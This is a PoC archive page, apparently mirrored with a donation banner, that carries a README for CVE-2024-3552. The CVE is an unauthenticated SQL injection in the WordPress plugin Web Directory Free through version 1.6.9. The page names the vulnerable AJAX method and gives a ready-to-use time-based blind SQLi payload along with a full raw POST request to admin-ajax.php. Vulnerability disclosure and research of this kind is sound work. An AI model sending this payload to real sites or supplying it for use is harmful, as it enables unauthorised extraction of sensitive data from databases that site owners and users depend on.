Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-3552 PoC — WordPress plugin Web Directory Free 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin Web Directory Free 安全漏洞 (CVE-2024-3552)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Web Directory Free 1.7.0之前版本存在安全漏洞,该漏洞源于在SQL语句中使用参数之前未清理和转义参数,从而导致SQL注入。
Description
CVE-2024-3552 Web Directory Free <= 1.6.9 - Unauthenticated SQL Injection
Readme
# CVE-2024-3552-Poc
CVE-2024-3552 Web Directory Free &lt;= 1.6.9 - Unauthenticated SQL Injection


Description

The Web Directory Free plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.6.9 due to insufficient escaping on a user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/web-directory-free/web-directory-free-169-unauthenticated-sql-injection

File: /web-directory-free/classes/ajax_controller.php

Class: w2dc_ajax_controller

Method: get_map_marker_info

![image](https://github.com/truonghuuphuc/CVE-2024-3552-Poc/assets/20487674/04110eee-9b88-4440-a600-2a79a88692d1)


Payload: ```action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(5),0)+from+(select+1)x)```

Raw request:
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(5),0)+from+(select+1)x)

```

Poc:

Url paload false:

![image](https://github.com/truonghuuphuc/CVE-2024-3552-Poc/assets/20487674/ddeda025-ed8c-484c-a3a0-3bdfb5487d26)


Url paload true:

![image](https://github.com/truonghuuphuc/CVE-2024-3552-Poc/assets/20487674/88da4ff6-5575-44da-8e84-c6b63ed2afb2)



https://github.com/truonghuuphuc/CVE-2024-3552-Poc/assets/20487674/96a92b63-a6ff-49b8-803a-ec9624c368d6


File Snapshot

[4.0K] /data/pocs/9fcd586c2a774c573f7b01702e073d19b44d3b06 ├── [1.8K] README.md └── [7.7M] web-directory-free.1.6.9.zip 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.